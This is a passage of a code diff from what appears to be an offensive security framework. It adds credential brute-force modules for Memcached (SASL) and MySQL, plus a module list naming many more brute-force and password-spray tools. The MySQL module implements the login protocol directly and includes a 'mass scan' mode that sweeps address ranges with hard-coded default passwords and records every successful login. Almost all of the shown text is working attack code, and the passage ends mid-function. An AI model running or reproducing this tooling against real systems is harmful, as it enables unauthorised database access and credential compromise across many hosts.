if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "memcached_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let ct = Duration::from_secs(connection_timeout);
|
||||
let rt = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let connect_t = ct;
|
||||
let read_t = rt;
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_memcached_sasl(&addr, &user, &pass, connect_t, read_t).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "memcached",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/memcached_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Memcached responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "memcached_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Memcached Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Memcached protocol helpers
|
||||
// ============================================================================
|
||||
|
||||
enum MemcachedStatus {
|
||||
/// Instance is open (no auth), includes the version string.
|
||||
Open(String),
|
||||
/// Instance requires SASL authentication.
|
||||
AuthRequired,
|
||||
/// Cannot reach the instance.
|
||||
Unreachable(String),
|
||||
}
|
||||
|
||||
/// Check if a Memcached instance is open (no auth) or requires SASL.
|
||||
async fn check_memcached_open(
|
||||
addr: &str,
|
||||
connect_timeout: Duration,
|
||||
read_timeout: Duration,
|
||||
) -> MemcachedStatus {
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MemcachedStatus::Unreachable(e.to_string()),
|
||||
};
|
||||
|
||||
// Send text protocol "version" command
|
||||
if let Err(e) = timeout(connect_timeout, stream.write_all(b"version\r\n")).await {
|
||||
return MemcachedStatus::Unreachable(format!("Write error: {}", e));
|
||||
}
|
||||
|
||||
let mut buf = vec![0u8; 1024];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return MemcachedStatus::Unreachable("Empty response".to_string()),
|
||||
Ok(Err(e)) => return MemcachedStatus::Unreachable(format!("Read error: {}", e)),
|
||||
Err(_) => return MemcachedStatus::Unreachable("Read timeout".to_string()),
|
||||
};
|
||||
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
|
||||
if response.contains("VERSION") {
|
||||
MemcachedStatus::Open(response.trim().to_string())
|
||||
} else if response.contains("ERROR") {
|
||||
MemcachedStatus::AuthRequired
|
||||
} else {
|
||||
MemcachedStatus::Unreachable(format!("Unknown response: {}", response.trim()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Build a Memcached binary protocol SASL Auth request packet.
|
||||
///
|
||||
/// Binary protocol header (24 bytes):
|
||||
/// magic: 0x80 (request)
|
||||
/// opcode: 0x21 (SASL Auth)
|
||||
/// key_length: length of "PLAIN"
|
||||
/// extras_length: 0
|
||||
/// data_type: 0
|
||||
/// vbucket/status: 0
|
||||
/// total_body_length: key_len + value_len
|
||||
/// opaque: 0
|
||||
/// cas: 0
|
||||
/// key: "PLAIN"
|
||||
/// value: "\0username\0password"
|
||||
fn build_sasl_auth_packet(username: &str, password: &str) -> Vec<u8> {
|
||||
let mechanism = b"PLAIN";
|
||||
let key_len = mechanism.len() as u16;
|
||||
|
||||
// SASL PLAIN payload: \0username\0password
|
||||
let mut sasl_payload = Vec::new();
|
||||
sasl_payload.push(0x00);
|
||||
sasl_payload.extend_from_slice(username.as_bytes());
|
||||
sasl_payload.push(0x00);
|
||||
sasl_payload.extend_from_slice(password.as_bytes());
|
||||
|
||||
let value_len = sasl_payload.len();
|
||||
let total_body_len = (key_len as u32) + (value_len as u32);
|
||||
|
||||
let mut packet = Vec::with_capacity(24 + total_body_len as usize);
|
||||
|
||||
// Header (24 bytes)
|
||||
packet.push(BINARY_MAGIC_REQUEST); // magic
|
||||
packet.push(OPCODE_SASL_AUTH); // opcode
|
||||
packet.extend_from_slice(&key_len.to_be_bytes()); // key length
|
||||
packet.push(0x00); // extras length
|
||||
packet.push(0x00); // data type
|
||||
packet.extend_from_slice(&0u16.to_be_bytes()); // vbucket/status
|
||||
packet.extend_from_slice(&total_body_len.to_be_bytes()); // total body length
|
||||
packet.extend_from_slice(&0u32.to_be_bytes()); // opaque
|
||||
packet.extend_from_slice(&0u64.to_be_bytes()); // CAS
|
||||
|
||||
// Body
|
||||
packet.extend_from_slice(mechanism); // key: "PLAIN"
|
||||
packet.extend_from_slice(&sasl_payload); // value: \0user\0pass
|
||||
|
||||
packet
|
||||
}
|
||||
|
||||
/// Parse the status code from a Memcached binary protocol response.
|
||||
/// The status is at bytes 6-7 (big-endian u16) of the 24-byte header.
|
||||
fn parse_binary_response_status(response: &[u8]) -> Option<u16> {
|
||||
if response.len() < 24 {
|
||||
return None;
|
||||
}
|
||||
if response[0] != BINARY_MAGIC_RESPONSE {
|
||||
return None;
|
||||
}
|
||||
Some(u16::from_be_bytes([response[6], response[7]]))
|
||||
}
|
||||
|
||||
/// Attempt Memcached SASL PLAIN authentication over the binary protocol.
|
||||
///
|
||||
/// Opens a fresh TCP connection, sends a SASL Auth request with the PLAIN
|
||||
/// mechanism, and parses the binary response status.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — SASL authentication succeeded (status 0x0000)
|
||||
/// - `Ok(false)` — authentication rejected (status 0x0020)
|
||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_memcached_sasl(
|
||||
addr: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
connect_timeout: Duration,
|
||||
read_timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
return Err(anyhow!("Connection error: {}", err_str));
|
||||
}
|
||||
};
|
||||
|
||||
let packet = build_sasl_auth_packet(username, password);
|
||||
|
||||
// Send the SASL auth packet
|
||||
match timeout(connect_timeout, stream.write_all(&packet)).await {
|
||||
Ok(Ok(())) => {}
|
||||
Ok(Err(e)) => return Err(anyhow!("Write error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Write timeout")),
|
||||
}
|
||||
|
||||
// Read the response (at least 24-byte header)
|
||||
let mut buf = vec![0u8; 256];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n >= 24 => n,
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
return Err(anyhow!(
|
||||
"Incomplete binary response ({} bytes, need >= 24)",
|
||||
n
|
||||
));
|
||||
}
|
||||
Ok(Ok(_)) => return Err(anyhow!("Empty response from server")),
|
||||
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
|
||||
match parse_binary_response_status(&buf[..n]) {
|
||||
Some(SASL_STATUS_SUCCESS) => Ok(true),
|
||||
Some(SASL_STATUS_AUTH_ERROR) => Ok(false),
|
||||
Some(status) => Err(anyhow!("Unexpected SASL response status: 0x{:04x}", status)),
|
||||
None => Err(anyhow!("Invalid binary protocol response")),
|
||||
}
|
||||
}
|
||||
@@ -1,18 +1,28 @@
|
||||
|
||||
pub mod sample_cred_check;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod couchdb_bruteforce;
|
||||
pub mod elasticsearch_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod http_basic_bruteforce;
|
||||
pub mod imap_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
pub mod memcached_bruteforce;
|
||||
pub mod mqtt_bruteforce;
|
||||
pub mod mysql_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
pub mod postgres_bruteforce;
|
||||
pub mod proxy_bruteforce;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod redis_bruteforce;
|
||||
pub mod rtsp_bruteforce;
|
||||
pub mod sample_cred_check;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_spray;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod telnet_hose;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod ssh_spray;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
pub mod mqtt_bruteforce;
|
||||
pub mod vnc_bruteforce;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,725 @@
|
||||
//! MySQL Brute Force Module
|
||||
//!
|
||||
//! Raw TCP wire-protocol implementation of MySQL native password authentication.
|
||||
//! Supports single-target, subnet, and mass scan modes.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Read HandshakeV10 packet (protocol version 10)
|
||||
//! 2. Extract 20-byte auth salt (scramble)
|
||||
//! 3. Compute auth_response = SHA1(password) XOR SHA1(salt + SHA1(SHA1(password)))
|
||||
//! 4. Send HandshakeResponse41 packet
|
||||
//! 5. Read OK (0x00) / ERR (0xFF) response
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use sha1::{Sha1, Digest};
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_MYSQL_PORT: u16 = 3306;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("root", ""),
|
||||
("root", "mysql"),
|
||||
("root", "password"),
|
||||
("root", "123456"),
|
||||
("admin", "admin"),
|
||||
("mysql", "mysql"),
|
||||
("root", "toor"),
|
||||
("root", "admin"),
|
||||
("admin", "password"),
|
||||
];
|
||||
|
||||
// MySQL protocol constants
|
||||
const MYSQL_PROTOCOL_V10: u8 = 10;
|
||||
const CLIENT_PROTOCOL_41: u32 = 0x0200;
|
||||
const CLIENT_SECURE_CONNECTION: u32 = 0x8000;
|
||||
const CLIENT_PLUGIN_AUTH: u32 = 0x0008_0000;
|
||||
const CHARSET_UTF8: u8 = 33; // utf8_general_ci
|
||||
const MAX_PACKET_SIZE: u32 = 16_777_216;
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "MySQL Brute Force".to_string(),
|
||||
description: "Brute-force MySQL authentication using native password wire protocol. \
|
||||
Implements HandshakeV10 parsing and mysql_native_password auth over raw TCP. \
|
||||
Supports default credential testing, wordlist combo mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase.html"
|
||||
.to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== MySQL Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} -- Mass Scan Mode", target).yellow());
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "MySQL",
|
||||
default_port: DEFAULT_MYSQL_PORT,
|
||||
state_file: "mysql_brute_hose_state.log",
|
||||
default_output: "mysql_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
// Try common default credentials
|
||||
let creds = [
|
||||
("root", "root"),
|
||||
("root", ""),
|
||||
("root", "mysql"),
|
||||
("admin", "admin"),
|
||||
("root", "password"),
|
||||
("root", "123456"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match try_mysql_auth(&addr, user, pass).await {
|
||||
MysqlResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
MysqlResult::ConnectionError(_) => return None,
|
||||
MysqlResult::AuthFailed | MysqlResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "MySQL Port", DEFAULT_MYSQL_PORT).await?;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"mysql_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "mysql",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/mysql_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_mysql_auth(&addr, &user, &pass).await {
|
||||
MysqlResult::Success => LoginResult::Success,
|
||||
MysqlResult::AuthFailed => LoginResult::AuthFailed,
|
||||
MysqlResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
MysqlResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "MySQL Port", DEFAULT_MYSQL_PORT).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "mysql_brute_results.txt").await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting MySQL brute-force on {}:{} ({} combos, {} threads)",
|
||||
target,
|
||||
port,
|
||||
combos.len(),
|
||||
concurrency
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_mysql_auth(&addr, &user, &pass).await {
|
||||
MysqlResult::Success => LoginResult::Success,
|
||||
MysqlResult::AuthFailed => LoginResult::AuthFailed,
|
||||
MysqlResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
MysqlResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "mysql",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/mysql_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored MySQL responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "mysql_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# MySQL Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MySQL Wire Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum MysqlResult {
|
||||
Success,
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Read a MySQL packet: 3-byte length (LE) + 1-byte sequence + payload.
|
||||
async fn read_mysql_packet(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
|
||||
let mut header = [0u8; 4];
|
||||
